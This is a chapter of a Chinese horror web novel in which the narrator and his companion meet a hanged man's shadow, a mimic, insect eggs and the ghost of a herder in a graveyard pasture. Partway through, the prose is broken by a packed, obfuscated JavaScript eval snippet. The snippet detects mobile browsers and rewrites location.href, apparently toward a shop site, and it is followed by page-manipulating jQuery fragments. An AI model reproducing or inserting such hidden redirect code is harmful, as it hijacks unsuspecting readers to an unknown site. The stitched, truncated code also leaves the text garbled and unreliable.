27. 坟场牧场
作品:《黑山夜话》 在最近这几天的经历中,我也意识到了一点,这片草原像个巨大的舞台,登台的这些乱七八糟的东西有的是群演,有的是主舞,他们之间有一个等级的差距。
我目前认为,像是绵羊的那种东西就是比较底层的,它们似乎是被什么诡异事件无意识地制造出来,虽然不一定完全无害,但即便是攻击人也只是出于一种动物本能,是简单的神经反应,并没有太多思考的能力。
而像苏合,还有之前遇到的狼,他们有思考能力,也有主观害人的恶意,他们表现出来的状态却更像是接收到了某个“指令”。这种指令是自他们产生就被赋予的,也就是说,他们存在即为了杀害。
我认为,在这两者之上,应该还有一种东西,他们不仅仅做这件事,更知道为什么要这样做。
按照教授他们的说法,这里已经非常接近他们想要找的地下工事了,肯定有一些更恐怖的东西躲在黑暗里,试图让我们全军覆没。
金毛已经走回到了我身边来,我和他说了我的想法,“每次都是这样,”他说,“越靠近我们想要找的东西,混乱怪异的事情出现的频率就会越高。之前失踪的人也遇到了苏合,他身上肯定有能告诉我们往什么方向继续走的线索。”
“你怎么知道?”我问,“你们找到了他们留下来的什么东西吗?”
“我们之前是不是和你说过,”金毛笑了,“之前探险队失踪了,我们截获的唯一一段对话是个不知道从哪来的男人,说看见任何探险队的人都要原地格杀…那个人根本不是探险队里的,昨晚一见到苏合我就听出来了,那个人是他。”
好家伙,原来在这等着我。
我知道了答案,但是根本高兴不起来。按照教授他们之前说的,进来草原找这个工事的探险队已经失踪了好几波,连带着最早的那一批,所有迹象都表明我们在踏上他们的老路。
对的方向可能会造成特别可怕的结果,我自我定位是很清晰的,他们俩是主角,我可能是主角潇洒离开时背后爆炸中被炸飞的小喽啰。
我们俩并排在草原上走着,草原四下静寂,我心中一团乱麻,胸口闷闷的。本来已经挺难受的,现在越想越不甘心。人一旦开始问自己“凭什么”的时候就会去撞南墙,我很不擅长开解自己,不然也不会进精神病院。
我大好的人生要交代在草原上,在出发前我应该在网上花二十卜一下塔罗牌的。正因为我如此的懈怠,没有相信这些玄学,才会让自己陷入进这个境地里。
“我感觉我可能会死在这。”
我说。
金毛看了我一眼,“不一定吧。”
他的语气很不确定,给我感觉并不在乎。我明白我什么都不算,他也没必要在乎,但他是拉我进来的这个人。他这种态度让我想起被骗办了健身卡,办之前热情似火,办之后平淡是真。
我还在这里想,金毛那边又皱着眉头开口了,“话说回来,你买了意外险吧,”他没话找话说说,“我们的人都是买了的,你要是没买,到时候报账会很麻烦。”
我看着他,大概是我的眼神太过惨烈,跟法庭上的受害者一样充满了震惊和控诉,他很好的被取悦了,好像刚才我说了一个笑话,害得他笑了一下。
“你要是掉进沼泽里我会看着你陷下去然后在旁边拍照留念。”我说。
金毛完全不在乎,只是在笑。我好恨我只有一张嘴能支棱起来,比如现在,我虽然恨不得掐死他,但是还是要跟在他身后亦步亦趋,怕死更怕落单。
他一边走还在一边和我闲聊,几乎是故意引诱着我怼他几下。这么一打岔我的那种悲春伤秋的氛围就被搅散了,我终于也略微感觉好受一些,至少没有那么胸闷了。
我有的时候觉得他是故意这样,也有的时候觉得这只是他恶趣味的附加结果。一个人抢劫结果把自杀的屋主给救了,在我看来还是要被判刑的,谁让他一开始去抢劫了。
我们两个走回蒙古包,金毛先钻进去,我跟着他后面,还没进去,就被他一只手臂挡了回来。
就在他挡我的那一瞬间,我似乎是看到了什么东西。但他很快把我推到后面去了,我没有看清楚。
“里面不对劲,”金毛压低声音说,“出事了。”
我刚刚略微放松了千分之一的心情一瞬间就绷紧了,金毛也极快地退出来,将我挡在一边。
我还有些懵懵的,他把我挡出来,我脑海里完全是不自觉地回顾着我刚刚看到的东西。整个帐篷里和我们离开前没有什么不一样的,根本没反应过来哪里出了问题。
“怎么回事?”
我问。
金毛微微侧身,让出一条缝隙来给我看。“看地上。”
我顺着他的位置向里看,和我的第一印象一样,那里确实没有什么特别的变化,但就是有一个地方特别突兀,就在帐篷中心的位置,我眯着眼确认了好几次,才确定那是一个不该存在的东西,而不是我自己看错了。
那好像是一片阴影。
蒙古包一般是不封顶的,那片阴影正对着上面的位置就是蒙古包外的天空。现在外面的光线比较亮,整个空间里面都能看得比较清晰,周围没有任何能投下影子的东西,那块阴影就这样平白无故地出现在了蒙古包的正中间。
“一块影子…?”
金毛点点头,不知道是什么让他如临大敌,警惕地向四周张望。我透过他的手臂望着那块影子,它的边缘清晰,接近一个圆形,但前后左右都有一些突出的,像毛刺一样的小小边角,左突右翘,形状不是很完美。
盯的时间久了,还会发现它其实在以一种非常慢的速度旋转着,有的时候正,有的时候反。跟天边的云一样,有的时候根本没发现它在走,一分钟后再看,却发现它早已不在原来的位置上了。
我已经开始冒冷汗,这片影子出现得突兀,如果不是金毛拦着我,我肯定就进去踩在它上面了。不过比起它是什么,我更关心的是教授现在跑到哪去了。
影子就在原地,动也不动,不知道危险的地方在哪。金毛不让我进去,自己也不进去,只是蛰伏在入口处等,不知道是在看什么。
我用气音问他这到底是什么。他举起拇指和食指,像电影里那种用手指做参照计算距离的炮兵一样比划了一下,皱了皱眉。
“这个大小…”
他低声说了一句,蒙古包里的影子突然动了一下。
它特别明显的,从靠近我们的角度鼓起了一个弧度。随后那个弧度越来越大,就像一滩水因为我们这边地势较低而在向这个方向流动,变成了一个圆,再加一条手臂的形状。
我们都在盯着那个东西看,很快,我发现不对了。
那不是像一条手臂,那就是一条手臂!手指的影子都清晰可见,它伸出这条手臂,直直地指向我们身后。
我瞬间就反应过来那是什么,金毛一把抓起我就跑,我只顾埋头狂奔,金毛拉着我朝侧边跑开去,两个人跑了几分钟,才气喘吁吁地放慢速度。
“那是个人。”我喘着气说,“那是个会转的人?”
“你觉得什么人才会在半空中转?”金毛说。
我他妈的怎么知道什么人会在半空转。我的第一反应是它跟磁悬浮一样,被外星飞船吸了一半,电影里不都是这么演的吗。
我的表情简直写着“我他妈的不知道”,无知中带着一点愤怒,金毛就笑了一声。
“你有没有用绳子吊着什么东西,提起来的时候,它就会这样转。”
他最好只是在和我讲物理,我听到这个推测胃都紧紧地皱在了一起。挂的东西可以这么转,挂的人自然也就这么转了。
我们的蒙古包里有一个不存在的,上吊的人。
我脑子里一下子反应过来了一件事,“不会是教授吧?”就单纯想到这个可能,都让我脊椎骨从下往上的战栗。
“他?”金毛说,“你还是担心一下你自己吧。”
这算是一个确定的答案了,我放心千分之一,然后就开始担心我自己。我们俩在雾中又往前走了一段,某一步的时候,我突然踩到了什么东西。
我正草木皆兵,这样一下吓得短促地倒吸了一口凉气,差点摔倒。金毛一把抄住我,让我站稳。
我踩到的是一件外套,防风外套。外套上裹着泥水,隐约可以看出是黑色的。
金毛看了一眼,啧了一声。
那好像是教授的外套。
一瞬间我的担忧又漫溢出来了,草原现在还很冷,为什么他要脱掉外套扔在这里?在野外低温是会要人命的,无论遭遇什么,脱外套这个行为都很不正常。
苏合应该也在蒙古包里,而现在两个人都不见了。教授的武力值我见过,他可以靠皮带直接把狼脖子生生拧断。苏合如果真的还是个人的话,他对上教授几乎没有任何胜算。
但怕就怕他不一定是人。
金毛带着我往其他方向走了几步,绕开了刚才的那个位置,两个人都没有说话。雾气更重,在四周沉甸甸地弥漫开来,能见度和我开车遇到狼的那个晚上差不多,虽然现在天空是亮的,但只消往前走几步,连前面的人的后脚跟都会消失不见。
我紧紧地跟着金毛,他抓着我的手,攥得我手指都疼了。他不知道心里有没有谱,只是向着一个方向走,我怕又踩上什么,就一直低头看着脚底下,直到金毛突然停下,我差点撞在他的背上。
“怎么了?”
我小声问。
金毛啧了一声,让了一个位置给我,让我向前看。
前面相当远的地方,雾气竟然稀薄了一些,那里站着一个人。
一个相当高的,细长而高瘦的人。
我看不清他的衣着,在迷雾中我早已失去了对距离的感知,只知道它离我们不近,具体有多远我也看不见。
这个人高而瘦,相当高,至少有两到三米。他的脖子很长,跟那种脖子戴铜环的少数民族相似,比正常人长一截。他的肩膀是塌下去的,手和腿脚远超正常人的比例,在雾中影影绰绰,只是一个略有轮廓的模糊影子。
这个东西难道一直在我们前面吗?我有一种不太好的预感,难道之前蒙古包里上吊的那个人,指的就是它?
金毛似乎怕惊动什么,拉着我找了个方向向后退,每一步都很小心翼翼。我跟着他退后,连鞋落在草地上的声音都听不见。那个人也一直站着,没有动弹。
我心惊胆颤地跟着金毛往后退,后退了差不多几十步,人影没有任何变化,但我觉得就是很不对劲。
“它在跟。”金毛说。
我一瞬间想明白了:它虽然没有迈步这样的动作,但确确实实的,一点都没有离我们更远。
我一直精神很紧张,这个时候金毛喊了一句“跑!”他自己一步窜上去,我一反应过来赶紧撒丫子在后面狂追。他的步伐很大,我不敢跑慢一步,心脏都快要跳得爆炸了,才勉强跟上他的速度。
我们大概跑了有五分钟以上,因为这差不多是我体力的极限了。金毛不知道要往前跑多远,他一点停下来的样子都没有,我奋力向前冲,才堪堪能望见他的衣角。
我的耳朵已经开始尖叫,脑子和心脏都跑得发疼,几乎要炸裂开来。我嘴里都是血的味道,就这么一段,我觉得我的某些血管可能已经爆掉了。
但金毛的速度没有任何衰减,我全靠意志力硬撑,正准备提一下速度继续追上的时候,我的左手臂一下子被狠狠地拽住了。
我太累了,连尖叫都没办法发出来。拽住我的是一只有力的手,我拼命想要甩开他,却被他直接扯向了一个人。
“回神了啊!”金毛说,“你向雾气里跑干什么?”
我完全愣住了,那个时刻我满脑子还是“跑”这个指令,根本没办法处理现在这种“我前面的人突然跑到了我后面”的这种魔术戏法。我还惦记着要跑,被他拽住了,仍然向我刚才追逐的那个地方望去。
在忽浓忽淡的雾气里,我清晰地看见了另一个金毛的脸——他甚至还朝我笑了一下,一种和金毛平时没有两样的笑。
然后那个笑容变了,他一点一点,像是泥巴被水晕开重塑一般,他的气质完全不一样了。那个笑变成了一种纯粹邪恶,带着恶念的笑。
它就用这张金毛的脸看着我,举高左手,对我缓慢地挥动着,渐渐隐去身型,不见了。
那是什么东西?
我的呼吸已经到了非常急促的地步,还有人抓着我的手,我发抖着回头,一张脸正贴着我的脖颈,靠得很近,在轻笑着。
刚刚拉住我的那个金毛脸上,是我看到的,一模一样的笑容。
我感觉自己的头皮都炸了,那种恐惧像一个铜锤,直接一下子把我打懵了一半。我拼命往前跑,另一只手去掰他拉着我的手。他死不松手,还在说话,具体说什么我都听不见。他力气太大,贴得太近,我挣脱不了,几乎是本能地,我狠狠肘击了他的肚子。
那个金毛“嗯”这样闷闷地惨叫了一声,但是还是没放手。我已经快要哭了,当时脑子完全没有办法思考,只想跑掉,看他弓下腰,还想给他脑袋一下。
“你发什么病?”金毛说,“我靠…”
我停下了,他抬起头来,是一张正常的,最近我日夜相对的脸。
“你又有幻觉了?”金毛皱着眉说,“你看见什么了?”
我张开嘴想说话,但胸口很难受,几次呼吸都觉得有口气梗在胸口上不来,只能弯着腰,张大嘴呼吸才不至于憋死。
怎么会这样?怎么可以突然变成这样?我知道草原不可能有“安全”二字,但我以为他们不会改变的,无论什么时候,他们在我身边,我还能稍稍放下心来。
显然,这片草原并不希望我这样想。
我好像被不存在的东西噎住了,喘了几次,肺扩张得极大,氧气却只吸进了十分之一。我甚至被逼出了眼泪,就短短的几秒钟,我眼前雾气混着眼泪,一片乱七八糟的模糊。
金毛好像说了一句“卧槽”,随后我就被人从后面搂住了,拳头顶到了我肋骨下的地方,狠狠地一勒。
他用的力气特别大,我几乎整个人都被带离了地面,就那么一下,我马上就开始反胃,张着嘴想吐出来点什么。有东西在我喉咙那里往外冲,他又来了两下,我直接哇地吐了出来。
金毛马上把我放下,开始顺我的背。我在那里狂呕,消化了一半的糊糊被喷得到处都是,我抓着金毛的衣服,本来想控制一下位置,结果胃里的东西反复翻涌,根本控制不了,最后自己的鞋和金毛的鞋上都被吐上了。
金毛做了个人,没有表现出很明显的嫌弃。他哄小孩似的嘴里嘟囔着“好了好了”,呼噜了我几下。
我吐完头晕脑胀,眼冒金星。草地被我弄得乱七八糟,我又不敢坐下,只能蹲在了地上。金毛也不拽我,只是蹲在了我旁边,又抽出来了他的那根棍子,在我的呕吐物里翻了翻。
我本来就还有点想吐,看见他的动作就更是反胃,直接捂住了嘴。没想到他浑不在意,在那滩东西里撩出了一团白色的玩意。
那是一团卵一样的东西,圆的,米粒大小,密密麻麻的一大堆,粘着我呕出来的黏液,结成了半个拳头大小的黏糊糊团块。
我看清楚的时候就又吐了,这次我爬到了一边去,呕得什么都呕不出来了为止,还在那里伸着舌头发出“呃、呃”的反胃声。
金毛检查完了团块,又过来检查我。我浑浑噩噩,他轻轻拍了我的后背两下,果然还是笑了。
“你怎么这么倒霉?”
他说。
我拽着他的衣服,被他扶正。金毛在口袋里掏了一会,竟然找到了一包纸巾,上面还印着“八哥草原烤全羊”的广告。他抽出来一张给我囫囵擦了擦脸,又递给我一张,让我擦嘴擦鞋。
我接过纸,他自己也抽了几张,弯下腰去擦鞋。他的鞋应该是专业远足运动的那种,表面不容易渗透油污,他随便擦了两下就很没素质地把纸扔地上了。我还拿着纸巾,犹豫了一下才扔。
妈的,这片草原都要杀了我了,乱丢垃圾只算是正当防卫。
我吐得感觉有些虚脱了,等了半天才重新唤回了一点力气,勉强能站起来。我都不知道我该不该问他那是什么了,知道和不知道又有什么区别。
“那是卵,”好心的金毛直接告诉了我,“应该是一种虫卵。”
“我应该问它怎么会跑到我的喉咙里去吗。”
我有气无力地说,他看我摇摇欲坠、过来搀了我一把。
“你刚才吓到了,”金毛说,“我之前就告诉过你,你的恐惧越大,就越容易引来这种东西。”
我和金毛说了我看到了什么,金毛一直皱着眉头都没展开过。“我没有说任何话,”他说,“更没有叫你跑,我都没看见那个人影。”
金毛说他刚才没有注意到我有什么不同,只是突然间转身就向雾更浓厚的地方跑了。他抓住我,还挨了我一肘击,打得很重,要我赔钱。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914313|192500||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我完全没有心思和他逗,他说完看我没什么反应,莫名其妙捏了我的腰一下,在我怒目而视的时候说这算是还清了。
我们往前慢腾腾地挪动,他提到我吐出来的这些东西。这片草原上有传说,弥漫不绝的雾气其实是由虫子变的。这种虫子和牛虻很像,本地人就叫它们“虻”。它们非常小,肉眼几乎看不见,喜欢一群一群地活动。在繁殖季节它们需要水来培育后代,所以一般都会聚集在水边,一片小水潭上都可以看见密密麻麻的一层虫子。
这种虫子会因为特别的天气或者是季节原因在某一年突然爆发式地增加,七几年就有一次,周边的所有有水的地方都被卧满了,牧民们还不得不把牛的嘴捆起来。因为牛一张嘴,虫子就会从嘴里飞进去,飞速产一大堆卵,牛可能会因为气道堵塞直接被憋死。
“不过这种东西不会袭击人的,”金毛说,“有可能是这片地方古怪,更有可能是你运气太差。”
我根本不需要他告诉我这件事,我又不是第一天知道我运气太差,否则我怎么会来到这片草原。
虽然金毛说虫子估计不是因为我张了嘴才袭击我,那就太倒霉了。但他还是从兜里还是怀里抽出了两条三角巾,我们两个人一人一条,蒙上之后又在外面套了一层口罩。我被他扶着往前走了一段,大约五分钟后才缓过劲来跟上他。
我没有什么头绪,只能跟着金毛走。我的内心还是比较不安的,因为金毛看似有些主见,但似乎根本也不知道方向。他没有看任何的辅助工具或者停下来判断方向,也向任何一个确定的位置走去,但他又胸有成竹,似乎知道要去哪一样,一步都没有停下来过。
我是可以全程不闻不问跟着他,但我知道自己绝对忍不住。几天前我就已经把“死得明白”写进了我的人生信条,我要死得明白。
“我们现在是往哪走,”我问,“你知道具体的方向吗。”
“当然知道,有人帮我。”
金毛很随意地拍了拍他的衣服,我这才发现他在衣服下藏了一个腰包。里面好像放了不少东西,鼓鼓的,只是在厚外套里面不显而已。
我不知道为什么被他搞得有点毛骨悚然,干脆不问了,老实闭嘴跟他走。雾气没有什么变化,但大概是我们蒙了脸的缘故,我觉得呼吸不是很顺畅,连带着口鼻处似乎都结起了小小水雾。
在雾气里走路很难辨别得清楚方向,我刚开始只是跟在金毛的后面,走着走着特别怕自己丢了,就拽住了他的衣服,金毛也没说什么。
我们走了十几分钟,雾气竟然单薄了些,能见度高了,远处的草原上也出现了一些不像是草的黑点。
那些黑点越来越清晰,我开始还怀疑是什么很吓人的东西。直到我们逐渐走近,雾气退散得比我想象的快得多,我才看清楚那里是什么。
那里竟然是一些篱笆。
草原牧民往往会在自己的牧场周围圈上一圈篱笆,以划定不同的放牧范围。我们一路开车走过来,也看到了不少这样的篱笆,倒不觉得十分稀奇。
真正稀奇的是,它的篱笆是互相交错的。
我和金毛越往前走,这样的篱笆就越多。它们显然不是一个时代的,有的新有的旧,有的木头都已经烂了一半,斜斜地插在草地里,一段一段,左右交叉,看不出什么规律。
金毛没有什么反应,我有种感觉,从蒙古包里有看不见的尸体开始,跑出来这段路似乎已经超出了他的预计。或者可以说,每一次这样的旅程,几乎都不会发生预料之中的事情,他们之所以能顺利活下来,靠得也不是预料,而是临危时的判断与选择。
既然他还是往前走,我也只能跟着向前。各种篱笆稀稀疏疏地分布在我们四周,不远不近,各处都透露着一种古怪的氛围。
这种古怪的氛围,在我们见到苏合的时候,一下子达到了顶峰。
最开始我只是看见不远处似乎有个人,我拽了拽金毛,他显然也看见了,我们俩又往前走了几步,这边的雾气散去的速度很快,马上,我就看清了那个人的样子。
那是一个背对着我们的人,从他的衣服装饰来看,那就是苏合。
我的肌肉都紧绷起来了,怕他突然窜过来和我打一架。但对方一开始是没有动弹的,后来我们一直也没有动,他反而缓慢地倒着向我们移动过来。
金毛似乎不太害怕,我完全躲在金毛的背后,希望对方连看都不要看到我。
苏合很快就走了过来,来到了距离我们大概只有五十米左右的地方。
他已经完全不掩盖自己在倒着行走了,在薄如纱的雾气中,他站定,正好停在我们的前方。
我们谁都没有发出声音,草原寂静得可怕,直到金毛朝着他开口。
“大哥,”他说,“聊聊?”
我心想他妈的有什么好聊,很想拔腿就跑,但没有金毛我估计会在几步后莫名其妙摔死。那边苏合却并不觉得奇怪,他向左,向右,有些僵硬地动了动脑袋,维持着一个微微抬头的姿势,开口了。
他一开口我就发现他的嘴并没有动,他的声音完全是从背面发出来的。
“来了…”他说,声音沙哑得很,“是他们…他们骗了我。”
“您不厚道啊,”金毛笑了一声,叹了口气,“我们三个人一起来的,你把那个人搞哪去了?”
苏合身体突然颤抖了几下,随后又开口了。
“不见了,”他说,“都不见了…”
“那个蒙古包就是你自己的吧,”金毛说,“我可以带你解脱,但是你要告诉我,是谁逼你这么办的。”
苏合喘了几声粗气,他的肺跟破了个洞一样,呼哧呼哧地乱响。“没有…我愿意…”他说,“我愿意的,都走了…他们都走了…电视,照片…我看见了…我不是故意的,我不是故意的。
我突然想起苏合那晚睡觉的时候说的梦话,还有我在那本绘本的抽屉里找到的东西。我不知道他说的照片是什么,但是我确实看见了电视的收据,日期应该是二十几年前,零几年的时候买的。
“这样,”金毛说,“只要你告诉我一点线索,我就让你解脱。”
苏合突然不出声了,大概几秒后,他说了一句,吐字特别清晰的话。
“绿太阳。”
他说。
“好,”金毛特别痛快地答应了下来,“大哥,你忘了,你已经死了。”
苏合没有什么反应,我或许都表现得比他惊讶。他一动不动,半晌后,我才听见他轻声感叹了一句。
“啊,”他说,“死了啊。”
随后,真的是刷的一秒,“苏合”这个人就从我们眼前消失了,像是终于被宇宙规律发现了这个bug并一下子抹去了一般突兀地不见,这片草原上,又重新只剩下我和金毛两个人,被雾气笼罩着。
我攥紧了金毛的手臂,他轻轻拍了我两下。“他死了?”我颤声问。
“早就死了,他脑子不清楚,把别人的故事和自己的拼在一起来讲,”金毛说,“他的狗也死了很久了,他还不停地吸引人过来,这个地方,死了的东西阴魂不散。”
“…那现在我们在哪?”我说。
“因为这个地方是我们最终的归宿,”他在这个时候还有兴趣和我开玩笑,“你看一下周围…地上的是什么。”
我随着他指的方向望去。草长得很长,我隐隐约约能看见一些凹陷下去的地方,像绿毯上被烟头烫出的几个小疤。
“不知道你有没有听说过,蒙古有的地方葬礼是把尸体放在板车上,随着颠簸,在哪里掉下来就是在哪安葬,这是死者自己选择的墓地。”金毛说,“但之前这边出现过的几次异象表明,这些堆砌着尸体的地方并不是死者自己选择的,而是有一种能量,在聚集拥有“死亡”这个属性的东西。”
“这种能量非常强大,所以只要是''死亡'',都会被它吸引过来,”金毛指给我看,“那些地方的,都是尸体,动物的,人类的,都有。”
“如果你站远一点就会发现,这里还堆砌着很多的死亡,”他比划着说,“这些篱笆,就是牧场的''尸体'',一个死亡的牧场,也会被移动到这里来。”
“我们现在就站在这样的一个坟场的中间,”他说,“这说明,我们距离要找的东西,越来越近了。”
说完这句话,他似乎想要给我看什么,往前走了几步。我的眼神一直跟着他,他回头看我,不知道为什么,“嗯?”了一声。
然后金毛也消失了。

